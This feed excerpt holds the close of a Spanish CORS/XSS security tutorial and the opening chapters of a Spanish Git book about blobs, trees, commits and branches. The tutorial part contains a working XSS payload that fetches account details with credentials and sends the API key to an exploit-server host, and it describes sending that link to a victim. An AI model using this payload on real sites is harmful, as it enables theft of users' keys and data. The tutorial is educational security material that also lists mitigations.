src="https://miro.medium.com/v2/resize:fit:2023/1*vqSoc_DI8kjbJTx-aF2DBg.png" class="kg-image" alt="Image" width="1226" height="495" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em>s 16 &amp; 17 — </em></em></em>muestra que el subdominio de acciones es<em><em><em> vulnerable </em></em></em>a ataques de<em><em><em> XSS </em></em></em>e<em><em><em>n </em></em></em>el parámetro<em><em><em> ProductId.</em></em></em></em></p><p>Usaremos el mismo escript para explotar este caos, con excepción que agregaremos la ubicación donde inyectamos el payload usando la función <strong><code>document.location</code></strong>. Luego formatearemos el payload para que sea un payload de una línea así podemos pasarle en el parámetro.</p><pre><code class="language-html">&lt;script&gt;
    document.location="http://subdomain.domain.com/?productId=&lt;script&gt;
    &lt;script&gt;
       var req = new XMLHttpRequest();
       req.onload = retrieveKeys;
       req.open('GET', "APPLICATION URL/accountDetails",true);
       req.withCredentials = true;
       req.send(null);

       function retrieveKeys() {
            location='https://Exolit_Server_Hostname/log?key='+this.responseText;
        };

  &lt;/script&gt; 
      &lt;/script&gt;
</code></pre><p>Después de eso, guardamos el script como <code><strong>cors_poc.html</strong></code>, lo hospedamos en nuestro servidor, y enviamos el enlace al usuario.</p><pre><code class="language-html">&lt;html&gt;
&lt;body&gt;
&lt;script&gt;
    document.location="http://Insecure-subdomain/?productId=&lt;script&gt;var req = new XMLHttpRequest(); req.onload = retrieveKeys; req.open('get','APPLICATION URL/accountDetails',true); req.withCredentials = true;req.send();function retrieveKeys() {location='https://exploit-0a110003034945dec57758a8018500a8.exploit-server.net/log?key='%2bthis.responseText; };%3c/script&gt;&amp;storeId=1"
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre><p>Como puedes ver abajo en las capturas de pantalla, cuando el usuario accede al enlace, el script inyecta el payload en el parámetro <code><strong>productId</strong></code><strong> </strong>y recupera la clave API.</p><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:2454/1*bQu-QJBOmrH_DynC_VNbeg.png" class="kg-image" alt="Image" width="1487" height="595" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:2531/1*-j8W-uY7yk-UmYol1cBzqg.png" class="kg-image" alt="Image" width="1534" height="603" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://miro.medium.com/v2/resize:fit:1957/1*NiWGBfvbWHT8Y47BuVrJ0w.png" class="kg-image" alt="Image" width="1186" height="580" loading="lazy"></figure><p><em><em><em><em>Figur</em></em></em>a<em><em><em>s 18, 19 &amp; 20 — </em></em></em>muestra la inyección del payload<em><em><em> XSS </em></em></em>y<em><em><em> captur</em></em></em>a<em><em><em> </em></em></em>la clave<em><em><em> APi </em></em></em>e<em><em><em>n </em></em></em>acción<em><em><em>.</em></em></em></em></p><!--kg-card-begin: html--><h2 id="caso-inexplotable-comodin">Caso Inexplotable: Comodín (*)</h2><!--kg-card-end: html--><p>La aplicación NO es vulnerable cuando <strong><strong>Access-Control-Allow-Origin</strong> </strong>es puesto al comodín <code><strong>*</strong></code>, inclusive si la cabecera <strong><strong>Access-Control-Allow-Credentials</strong> </strong>es puesto a <strong>true.</strong></p><p>Esto se debe a que hay una verificación de seguridad que desactiva la cabecera Allow-Credentials cuando el origin es puesto a un comodín.</p><!--kg-card-begin: html--><h2 id="mitigaciones">Mitigaciones</h2><!--kg-card-end: html--><ul><li>Implementa las cabeceras de CORS apropiadas: El servidor puede agregar cabeceras de CORS apropiadas para permitir solicitudes entre orígenes solamente de sitios confiables.</li><li>Restringe acceso a datos sensibles: Esimportante restringir acceso a datos sensible a dominios confiables solamente. Esto se puede haceral implementar medidas de acceso de control tales como autenticación y autorización.</li></ul><h2 id="concluyendo"><strong>Concluyendo</strong></h2><p>En este tutorial, hemos cubierto lo básico de CORS como una característica de seguridad que previene que las páginas web hagan solicitudes no autorizados a distintos dominios.</p><p>También cubrimos las técnicas de prueba estándares de CORS para detectar y explotar configuraciones erróneas de CORS con herramientas como Burp Suites y las herramientas de desarrollo de Chrome.</p><p>Al implementar y probar CORS correctamente, los desarrolladores web puede asegurar que sus aplicaciones web están seguras y evitar configuraciones erróneas que permiten a los atacantes acceder a recursos no autorizados y comprometer la seguridad de la aplicación.</p><!--kg-card-begin: html--><h2 id="recursos">Recursos</h2><!--kg-card-end: html--><ul><li><a href="https://ranakhalil.teachable.com/p/web-security-academy-video-series">https://ranakhalil.teachable.com/p/web-security-academy-video-series</a></li><li><a href="https://www.trustedsec.com/blog/cors-findings/">https://www.trustedsec.com/blog/cors-findings/</a></li><li><a href="https://www.we45.com/post/3-ways-you-can-exploit-cors-misconfigurations">https://www.we45.com/post/3-ways-you-can-exploit-cors-misconfigurations</a></li><li><a href="https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/">https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/</a></li></ul> ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Gitting Things Done – Una guía visual y práctica para Git [Libro completo] ]]>
                </title>
                <description>
                    <![CDATA[ Introducción Git es increíble. La mayoría de los desarrolladores de software usan Git en el día a día. Pero, ¿cuántos realmente entienden Git? ¿Sientes que sabes lo que está pasando por detrás a medida que usas Git para ejecutar varias tareas?  Por ejemplo, ¿qué sucede cuando usas git commit? ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/gitting-things-done-una-guia-visual-y-practica-para-git-libro-completo/</link>
                <guid isPermaLink="false">65a96be751a59a0455c92eb1</guid>
                
                    <category>
                        <![CDATA[ Git ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Elias Ezequiel Pereyra Gomez ]]>
                </dc:creator>
                <pubDate>Thu, 10 Oct 2024 20:48:10 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2024/01/Gitting-Things-Done-Cover-with-Photo.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p data-test-label="translation-intro">
        <strong>Artículo original:</strong> <a href="https://www.freecodecamp.org/news/gitting-things-done-book/" target="_blank" rel="noopener noreferrer" data-test-label="original-article-link">Gitting Things Done – A Visual and Practical Guide to Git [Full Book]</a>
      </p><!--kg-card-begin: html--><h1 id="intro">Introducción</h1><!--kg-card-end: html--><p>Git es increíble.</p><p>La mayoría de los desarrolladores de software usan Git en el día a día. Pero, ¿cuántos realmente entienden Git? ¿<em>Sientes</em> que sabes lo que está pasando por detrás a medida que usas Git para ejecutar varias tareas? </p><p>Por ejemplo, ¿qué sucede cuando usas <code>git commit</code>? ¿Qué se almacena entre las confirmaciones? ¿Es sólo un diff entre la confirmación actual y el anterior? Si es así, ¿cómo se codifica el diff? O, ¿es una copia instantánea entero cada vez que el repositorio se almacena?</p><p>La mayoría de las personas que usan Git no saben las respuestas a estas preguntas de arriba. Pero, ¿esto importa realmente? ¿Realmente tienes que saber todas esas cosas?</p><p>Yo argumentaría que sí importa. Como profesionales, deberíamos esforzarnos en entender las herramientas que usamos, especialmente si los usamos todo el tiempo, como Git.</p><p>Aún más preciso. He encontrado que entender realmente cómo funciona Git es <strong>beneficioso</strong> en muchos escenarios – si estás resolviendo conflictos de fusión, viendo cómo conducir un rebase interesante, o inclusive cuando algo va mal ligeramente.</p><p>Muchísimas veces he recibido preguntas sobre Git de gente con experiencia, ingenieros de software altamente talentosos. He visto desarrolladores maravillosos reaccionar con miedo cuando algo sucede en su historial de confirmaciones, y simplemente no saben qué hacer. Esto no tiene que ser así.</p><p>Al leer este libro, obtendrás una nueva perspectiva de Git. Te sentirás <strong>con confianza</strong> cuando trabajes con Git, y <strong>entenderás</strong> los mecanismos subyacentes de Git, al menos aquellos que son beneficiosos de entender. Le vas a captar. </p><h1 id="tabla-de-contenidos"><strong>Tabla de Contenidos</strong></h1><ul><li><a href="#intro">Introducción</a></li><li><a href="#part-1">Parte 1 - Objetos principales e Introduciendo cambios</a></li><li><a href="#cap-1">Capítulo 1 - Objetos de Git</a></li><li><a href="#cap-2">Capítulo 2 - Ramas en Git</a></li><li><a href="#cap-3">Capítulo 3 - Cómo registrar cambios en Git</a></li><li><a href="#cap-4">Capítulo 4 - ¿Cómo crear un repo desde cero?</a></li><li><a href="#cap-5">Capítulo 5 - Cómo trabajar con las ramas en Git – Por debajo</a></li><li><a href="#part-2">Parte 2 - Ramificando e Integrando Cambios</a></li><li><a href="#cap-6">Capítulo 6 - Diffs y Parches</a></li><li><a href="#cap-7">Capítulo 7 - Entendiendo la Fusión de Git</a></li><li><a href="#cap-8">Capítulo 8 - Entendiendo Git Rebase</a></li><li><a href="#part-3">Parte 3 - Deshacer cambios</a></li><li><a href="#cap-9">Capítulo 9 - Git Reset</a></li><li><a href="#cap-10">Capítulo 10 - Herramientas adicionales para deshacer cambios</a></li><li><a href="#cap-11">Capítulo 11 - Ejercicios</a></li><li><a href="#part-4">Parte 4 - Herramientas de Git Fantásticas y Útiles</a></li><li><a href="#cap-12">Capítulo 12 - Git Log</a></li><li><a href="#cap-13">Capítulo 13 - Git Bisect</a></li><li><a href="#cap-14">Capítulo 14 - Otros comandos útiles</a></li><li><a href="#resumen">Resumen</a></li><li><a href="#apendices">Apéndices</a></li></ul><h2 id="-para-qui-n-es-este-libro">¿Para quién es este Libro?</h2><p>Para cualquier desarrollador de software que quiera profundizar su conocimiento sobre Git.</p><p>Si ya tienes experiencia con Git – Estoy seguro que serás capaz de profundizar tus conocimientos. Inclusive si eres nuevo en Git - empezaré con una vista general del mecanismo de Git, y los términos usados a lo largo de este libro.</p><p>Este libro es para ti. Lo escribí así para que puedas aprender más sobre Git, y también llegues a apreciar, o inclusive amar a Git.</p><p>También notarás que uso un estilo casual en todo el libro. Creo que aprender Git debe de ser intuitivo y divertido. Aprender cosas nuevas siempre es difícil, y pensé que escribir en un estilo menos casual realmente no haría un buen servicio. Y como ya mencioné - Este libro es para ti.</p><h2 id="-qui-n-soy-yo">¿Quién soy yo?</h2><p>Este libro es sobre ti, y tu jornada con Git. Pero me gustaría decirte un poco sobre por qué pienso que puedo contribuir a tu jornada.</p><p>Soy el CTO y uno de los co-fundadores de <a href="https://swimm.io">Swimm.io</a>, una herramienta de gestión de conocimiento para código. Parte de lo que hacemos es enlazar partes del código en repositorios de Git a partes de la documentación, y luego rastrear cambios en el repositorio para actualizar la documentación si es necesario.</p><p>En Swimm, tengo que diseccionar partes de Git, entender sus mecanismos subyacentes y también ganar intuición sobre por qué se implementa Git de la manera que se hace.</p><p>Antes de fundar Swimm practiqué enseñando en muchos entornos diferentes - entre ellos, gestionar el cyber track del Desafío Tech de Israel, fundar la Academia de Seguridad de Punto de Verificación (en inglés <strong>Check Point Security Academy</strong>), y escribir un libro completo de texto.</p><p>Este libro es mi intento de aprovechar lo máximo de ambos mundos - mi experiencia de enseñanza así como mi experiencia práctica profunda con Git, y darte la mejor experiencia de aprendizaje que puedo.</p><h2 id="el-enfoque-de-este-libro">El enfoque de este libro</h2><p>Este no es definitivamente el primer libro sobre Git. Cuando me senté a escribirlo, tuve tres principios en mente.</p><ol><li><strong>Práctico</strong> - en este libro, aprenderás cómo lograr las cosas en Git. Cómo introducir cambios, cómo deshacerlos, y cómo arreglar las cosas cuando salen mal. Entenderás cómo funciona Git no sólo por el hecho de entender, sino con una mentalidad práctica. A veces me refiero a esto como el "principio práctico" - el cual me guía en decidir si incluyo ciertos tópicos, y en qué medida.</li><li><strong>A profundidad</strong> - te sumergirás en la forma de operar de Git, entender sus mecanismos. Construirás tu entendimiento gradualmente, y siempre enlazarás tus conocimientos a escenarios reales que podrías encontrar en tu trabajo. Para alcanzar un entendimiento a profundidad, casi siempre prefiero la línea de comandos en vez de interfaces gráficas, así realmente puedes ver qué comandos estoy ejecutando.</li><li><strong>Visual</strong> - a medida que me esfuerzo en proveerte con intuición, los capítulos estarán acompañados de ayudas visuales.</li></ol><h2 id="-por-qu-este-libro-est-disponible-p-blicamente">¿Por qué este libro está disponible públicamente?</h2><p>Pienso que todos deberían tener acceso a contenido de alta calidad sobre Git, y me gustaría que este libro llegue a tantas personas como sea posible.</p><p>Si te gustaría apoyar este libro, eres bienvenido en comprar la <a href="https://www.amazon.com/dp/B0CQXTJ5V5">versión física</a>, un <a href="https://www.buymeacoffee.com/omerr/e/197232">libro electrónico</a>, o <a href="https://www.buymeacoffee.com/omerr">comprarme un café</a>. ¡Gracias!</p><h2 id="videos-acompa-antes">Videos Acompañantes</h2><p>He cubierto muchos tópicos de este libro en mi canal de Youtube - <a href="https://www.youtube.com/@BriefVid">@BriefVid</a>. Eres bienvenido en verificarlos también.</p><h2 id="a-trabajar">A trabajar</h2><p>A lo largo de este libro, mayormente usaré el singular en segunda persona - y directamente te escribiré a ti. También <strong>te pediré</strong> que trabajes, que ejecutes los comandos tú mismo, así llegas a <strong>sentir</strong> lo que es usar las cosas con Git, no sólo leerlo.</p><h2 id="los-sentimientos-de-git">Los sentimientos de Git</h2><p>A lo largo de este libro, a veces me refiero a Git con palabras tales como "cree", "piensa", o "quiere". Como puedes argumentar, Git no es humano, y no tiene sentimientos o creencias. Bueno, eso es verdad, pero para que nosotros disfrutemos al jugar con Git, y ayudarte en que disfrutes leer (y yo escribiendo), siento que referirme a Git más que sólo código lo hace muchos más divertido.</p><!--kg-card-begin: html--><h2 id="my-setup">Mi configuración</h2><!--kg-card-end: html--><p>Incluiré capturas de pantalla. No hay necesidad de que configures para coincidir con lo mío, pero si sientes curiosidad sobre mi configuración, entonces:</p><ul><li>Estoy usando Ubuntu 20.04 (WSL).</li><li>Para mi terminal, use <a href="https://ohmyz.sh/">Oh My Zsh</a></li><li>También uso plugins para Oh My Zsh, puedes <a href="https://www.freecodecamp.org/espanol/news/mejora-tu-terminal-zsh-en-siete-pasos-una-guia-visual/">seguir este tutorial en freeCodeCamp</a></li><li><a href="https://gist.github.com/Omerr/8134a61b56ca82dd90e546e7ef04eb77">El alias</a> <code>git lol</code></li><li><a href="https://github.com/mlange-42/git-graph">git-graph (mi alias es <code>gg</code>)</a></li></ul><h2 id="los-comentarios-son-bienvenidos">Los comentarios son bienvenidos</h2><p>Este libro ha sido creado para ayudarte y las personas como tú aprendan, entiendan Git, y apliquen ese conocimiento en la vida real.</p><p>Desde el principio, pedí comentarios y fui afortunado en recibirlo de grandes personas (ve <a href="https://www.freecodecamp.org/news/gitting-things-done-book/#acknowledgements">reconocimientos</a>) para asegurarte que el libro alcanza estos objetivos. Si te gustó algo sobre este libro, sentiste que algo le faltó, o que algo necesita mejorar - Me encantaría escucharlo de ti. Por favor encuéntrame en: <a>gitting.things@gmail.com</a>.</p><h2 id="nota"><strong>Nota</strong></h2><p>Este libro es provisto gratuitamente en freeCodeCamp como se describe arriba y de acuerdo a la licencia <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/deed.en">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International</a>.</p><p>Si te gustaría apoyar este libro, eres bienvenido en comprar la <a href="https://www.amazon.com/dp/B0CQXTJ5V5">versión física</a>, una <a href="https://www.buymeacoffee.com/omerr/e/197232">versión electrónica</a>, o <a href="https://www.buymeacoffee.com/omerr">comprarme un café</a>. ¡Gracias!</p><!--kg-card-begin: html--><h1 id="part-1">Parte 1 - Objetos Principales e Introduciendo cambios</h1><!--kg-card-end: html--><!--kg-card-begin: html--><h2 id="cap-1">Capítulo 1 - Objetos de Git</h2><!--kg-card-end: html--><p>Es tiempo de empezar tu jornada en las profundidades de Git. En este capítulo - empezamos con lo básico - aprenderás sobre los objetos de Git más importantes, y adoptar una forma de pensar sobre Git. ¡Vamos a ello!</p><h3 id="git-como-un-sistema-para-mantener-un-sistema-de-archivos">Git como un Sistema para mantener un Sistema de archivos</h3><p>Siendo que hay diferentes formas de usar Git, adoptaré aquí una forma que he aprendido que es la más clara y útil: viendo a Git como un sistema que mantiene un sistema de archivos, y específicamente - copias instantáneas de ese sistema de archivos con el tiempo.</p><p>Un sistema de archivos con un directorio raíz (en sistemas basados en UNIX, <code>/</code>), el cual usualmente contiene otros directorios (por ejemplo, <code>/usr</code> o <code>/bin</code>). Estos directorios contienen otros directorios, y/o archivos (por ejemplo, <code>/usr/1.txt</code>). En una máquina Windows, un directorio raíz de un disco sería <code>C:\</code>, y un sub-directorio podría ser <code>C:\users</code>. Adoptaré la convención de los sistemas basados en UNIX a lo largo de este libro.</p><h3 id="blobs"><strong>Blobs</strong></h3><p>En Git, los contenidos de los archivos son almacenados en objetos llamados <strong>blob</strong>s, abreviado para <strong>b</strong>inary <strong>l</strong>arge <strong>ob</strong>jects (objetos grandes de binario).</p><p>La diferencia entre blobs y archivos es que los archivos también contienen meta-datos. Por ejemplo, un archivo "recuerda" cuando fue creado, de esa forma si tu mueves ese archivo de un directorio a otro, su tiempo de creación permanece el mismo.</p><p>Los blobs, en contraste, son sólo corrientes de binario de datos, como el contenido de un archivo. Un blob no registra su fecha de creación, su nombre, o cualquier otra cosa más que su contenido.</p><p>Cada blob en Git es identificado por su <a href="https://en.wikipedia.org/wiki/SHA-1">hash SHA-1</a>. Los hashes SHA-1 consisten de 20 bytes, usualmente representados por 40 caracteres en forma hexadecimal. A lo largo de este libro a veces mostraré sólo los primeros caracteres de ese hash. Como los hashes, y específicamente los hashes SHA-1 son ubicuos en Git, es importante que entiendas las características básicas de los hashes.</p><h3 id="hashes"><strong>Hashes</strong></h3><p>Un hash es una función determinista y matemática unidireccional.</p><p><em>Determinista</em> significa que la misma entrada proveerá la misma salida. Eso es - tomas una corriente de datos, ejecutas una función hash en esa corriente, y obtienes un resultado.</p><p>Por ejemplo, si provees la función hash SHA-1 con la corriente <code>hello</code>, obtendrás <code>0xaaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d</code>. Si ejecutas la función hash SHA-1 nuevamente, desde una máquina diferente, y le provees los mismos datos (<code>hello</code>), obtendrás el mismo valor.</p><p>Git usa SHA-1 como su función hash para identificar objetos. Se basa en ella siendo determinista, y de esa forma un objeto siempre tendrá el mismo identificador.</p><p>Una función <strong>unidireccional</strong> es una función que es difícil de invertir dado una entrada. Eso es, es imposible (o al menos, muy difícil) de determinar, dado el resultado de la función hash (por ejemplo <code>0xaaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d</code>), qué entrada produce ese resultado (en este ejemplo <code>hello</code>).</p><h3 id="de-vuelta-a-git">De vuelta a Git</h3><p>De vuelta a Git - Blobs, como cualquier otro objeto de Git, tienen hashes SHA-1 asociados a ellos.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/blob_sha.png" class="kg-image" alt="Blobs have corresponding SHA-1 values" width="600" height="400" loading="lazy"><figcaption>Los Blobs tienen valores SHA-1 correspondientes</figcaption></figure><p>Como dije al principio, Git puede ser visto como un sistema para mantener un sistema de archivos. Sistemas de archivos consisten en archivos y directorios. Un blob es el objeto de Git representando los contenidos de un archivo.</p><h3 id="-rboles">Árboles</h3><p>En Git, el equivalente de un directorio es un <strong>árbol</strong>. Un árbol es básicamente un listado de directorios, refiriéndose a blobs, así también como otros árboles.</p><p>Los árboles son identificados por sus hashes SHA-1 también. Referirse a estos objetos, sean blobs u otros árboles, sucede por medio del hash SHA-1 de los objetos.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/tree_objs.png" class="kg-image" alt="A tree is a directory listing" width="600" height="400" loading="lazy"><figcaption>Un árbol es un listado de directorios</figcaption></figure><p>Considera el dibujo de arriba. Fíjate que el árbol <code>CAFE7</code> se refiere al blob <code>F92A0</code> como el archivo <code>pic.png</code>. En otro árbol, el mismo blob podría tener otro nombre - pero siempre y cuando los contenidos sean lo mismo, será el mismo objeto blob, y todavía tendrá el mismo valor SHA-1.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/tree_sub_trees.png" class="kg-image" alt="A tree may contain sub-trees, as well as blobs" width="600" height="400" loading="lazy"><figcaption>Un árbol podría contener sub-árboles, así también como blobs</figcaption></figure><p>El diagrama de arriba es equivalente a un sistema de archivos con un directorio raíz que tiene un archivo en <code>/test.js</code>, y un directorio llamado <code>/docs</code> consistiendo de dos archivos: <code>/docs/pic.png</code>, y <code>/docs/1.txt</code>.</p><h3 id="confirmaciones">Confirmaciones</h3><p>Ahora es tiempo de tomar una copia instantánea de ese sistema de archivos – y almacenar todos los archivos que existieron en ese tiempo, juntamente con sus contenidos.</p><p>En Git, una copia instantánea es una <strong>confirmación</strong>. Un objeto de confirmación incluye un puntero al árbol principal (el directorio raíz del sistema de archivos), así también como otros meta-datos tales como el confirmador (el usuario que autorizó la confirmación), un mensaje de la confirmación, y el tiempo de la confirmación.</p><p>En la mayoría de los casos, una confirmación también tiene uno o más confirmaciones padres – la copia instantánea anterior (o copias instantáneas). Por supuesto, los objetos de confirmación son también identificados por sus hashes SHA-1. Estos son los hashes que probablemente estás acostumbrado de ver cuando usas los comandos tales como <code>git log</code>.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit.png" class="kg-image" alt="A commit is a snapshot in time. It refers to the root tree. As this is the first commit, it has no parents" width="600" height="400" loading="lazy"><figcaption>Una confirmación es una copia instantánea en el tiempo. Se refiere al árbol raíz. Ya que este es la primer confirmación, no tiene padres</figcaption></figure><p>Cada confirmación retiene la copia instantánea completa, no solo las diferencias entre sí mismo y su confirmación o confirmaciones padres.</p><p>¿Cómo puede funcionar eso? ¿No significa que Git tiene que almacenar un montón de datos para cada confirmación?</p><p>Examina lo que pasa si cambias los contenidos de un archivo. Digamos que editas el archivo <code>1.txt</code>, y agregas un signo de exclamación – eso es, cambiaste el contenido de <code>HELLO WORLD</code>, a <code>HELLO WORLD!</code>.</p><p>Bueno, este cambio significa que Git crea un nuevo objeto blob, con un nuevo hash SHA-1. Esto tiene sentido, ya que <code>sha1("HELLO WORLD")</code> es diferente de <code>sha1("HELLO WORLD!")</code>.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/new_blob_new_sha.png" class="kg-image" alt="Changing the blob results in a new SHA-1" width="600" height="400" loading="lazy"><figcaption>Cambiando los resultados blob en un nuevo SHA-1</figcaption></figure><p>Ya que tienes un nuevo hash, entonces el listado del árbol debería también cambiar. Después de todo, tu árbol ya no apunta al blob <code>73D8A</code>, sino al blob <code>62E7A</code>. Desde el momento que cambies los contenidos del árbol, también cambias su hash.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/new_tree_new_hash.png" class="kg-image" alt="The tree that points to the changed blob needs to change as well" width="600" height="400" loading="lazy"><figcaption>El árbol que apunta al blob cambiado necesita cambiar también</figcaption></figure><p>Y ahora, ya que el hash de ese árbol es diferente, también necesitas cambiar el árbol padre – ya que el último ya no apunta al árbol <code>CAFE7</code>, sino al árbol <code>24601</code>. Consecuentemente, el árbol padre también tendrá un nuevo hash.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/new_root_tree.png" class="kg-image" alt="The root tree also changes, and so does its hash" width="600" height="400" loading="lazy"><figcaption>El árbol raíz también cambia, y así lo hace su hash</figcaption></figure><p>Casi listo para crear un nuevo objeto de confirmación, y parece que vas a almacenar un montón de datos – el sistema de archivos entero, ¡una vez más! ¿Pero es eso realmente necesario?</p><p>En realidad, algunos objetos, específicamente los objetos blob, no han cambiado ya que la confirmación anterior – el blob <code>F92A0</code> permaneció intacto, y así también el blob <code>F00D1</code>.</p><p>Así que este es el truco – siempre y cuando un objeto no cambie, Git no lo almacena nuevamente. En este caso, Git no necesita almacenar el blob <code>F92A0</code> o el blob <code>F00D1</code> una vez más. Git se puede referir a ellos usando solamente sus valores hash. Entonces puedes crear tu objeto de confirmación.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/new_commit.png" class="kg-image" alt="Blobs that remained intact are referenced by their hash values" width="600" height="400" loading="lazy"><figcaption>Blobs que permanecieron intactos son referenciados por sus valores hash</figcaption></figure><p>Ya que esta confirmación no es la primer confirmación, también tiene una confirmación padre – la confirmación <code>A1337</code>.</p><h3 id="considerando-hashes">Considerando Hashes</h3><p>Después de introducir blobs, árboles, y confirmaciones - considera los hashes de estos objetos. Digamos que escribí la cadena <code>Git is awesome!</code>, y de ahí creé un objeto blob. Tú hiciste lo mismo en tu sistema. ¿Tendríamos el mismo hash?</p><p>La respuesta es – Sí. Ya que los blobs consisten de los mismos datos, tendrán los mismos valores SHA-1.</p><p>¿Qué tal si hiciera un árbol que referencia al blob de <code>Git is awesome!</code>, y le diera un nombre específico y metadatos, y tú hicieras exactamente lo mismo en tu sistema? ¿Tendríamos el mismo hash?</p><p>De nuevo, sí. Ya que los objetos árboles son los mismos, tendrían el mismo hash.</p><p>¿Qué tal si creara una confirmación apuntando a ese árbol con el mensaje de confirmación <code>Hello</code>, y tú también hicieras lo mismo en tu sistema? ¿Tendrían el mismo hash?</p><p>En este caso, la respuesta es – No. Aunque nuestros objetos de confirmación se refieren al mismo árbol, tienen diferentes detalles de confirmación – tiempo, confirmador, y así sucesivamente.</p><h3 id="-c-mo-son-almacenados-los-objetos">¿Cómo son almacenados los Objetos?</h3><p>Ahora entiendes el propósito de los blobs, los árboles y las confirmaciones. En los próximos capítulos, también crearás estos objetos tú mismo. A pesar de ser interesante, entender en realidad cómo estos objetos son codificados y almacenados no es vital para tu entendimiento.</p><h4 id="peque-a-recapitulaci-n-objetos-de-git">Pequeña recapitulación - Objetos de Git</h4><p>Para recapitular, en esta sección introdujimos tres objetos de Git:</p><ul><li><strong>Blob</strong> – contenidos de un archivo.</li><li><strong>Árbol</strong> – un listado de directorios (de blobs y árboles).</li><li><strong>Confirmación</strong> – una copia instantánea del árbol de trabajo.</li></ul><p>En el próximo capítulo, entenderemos sobre las ramas en Git.</p><!--kg-card-begin: html--><h2 id="cap-2">Capítulo 2 - Las ramas en Git</h2><!--kg-card-end: html--><p>En el capítulo anterior, sugerí que deberíamos ver a Git como un sistema para mantener un sistema de archivos.</p><p>Una de las maravillas de Git es que permite a múltiples personas trabajar en ese sistema de archivos, en paralelo, (mayormente) sin interferir en el trabajo de otros. La mayoría de las personas dirían que están "trabajando en la rama <code>X</code>." ¿Pero qué significa eso <em>en realidad</em>?</p><p><strong>Una rama es sólo una referencia nombrada a una confirmación.</strong></p><p>Siempre puedes referenciar a una confirmación por su hash SHA-1, pero los humanos usualmente prefieren otras formas de llamar a los objetos. Una rama es una forma de referenciar a una confirmación, pero realmente es eso nada más.</p><p>En la mayoría de los repositorios, la línea principal del desarrollo está hecho en una rama llamada <code>main</code>. Esto es sólo un nombre, y es creado cuando usas <code>git init</code>, haciéndolo que sea ampliamente usado. Sin embargo, podrías usar cualquier otro nombre que quisieres.</p><p>Típicamente, la rama apunta a la última confirmación en la línea de desarrollo en el que estás trabajando actualmente.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/branch_01.png" class="kg-image" alt="A branch is just a named reference to a commit" width="600" height="400" loading="lazy"><figcaption>Una rama es solo una referencia nombrada a una confirmación</figcaption></figure><p>Para crear otra rama, puedes usar el comando <code>git branch</code>. Cuando haces eso, Git crea otro puntero. Si creaste una rama llamada <code>test</code>, usando <code>git branch test</code>, estarías creando otro puntero que apunta a la misma confirmación como la rama en la que se encuentra:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_branch.png" class="kg-image" alt="Usando  crea otro puntero" width="600" height="400" loading="lazy"><figcaption>Using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git branch</code> creates another pointer</figcaption></figure><p>¿Cómo sabe Git la rama en que te encuentras actualmente? Mantiene otro puntero designado, llamado <code>HEAD</code>. Usualmente, <code>HEAD</code> apunta a una rama, que a su vez apunta a una confirmación. En el caso descrito, <code>HEAD</code> podría apuntar a <code>main</code>, que a su vez apunta a la confirmación <code>B2424</code>. En algunos casos, <code>HEAD</code> también puede apuntar a una confirmación directamente.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/head_main.png" class="kg-image" alt=" points to the branch you are currently on" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">HEAD</code> points to the branch you are currently on</figcaption></figure><p>Para cambiar la rama activa a ser <code>test</code>, puedes usar el comando <code>git checkout test</code>, o <code>git switch test</code>. Ahora ya puedes adivinar lo que hace este comando en realidad – solo cambia a <code>HEAD</code> a que apunte a <code>test</code>.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/head_test.png" class="kg-image" alt=" changes where  points" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; 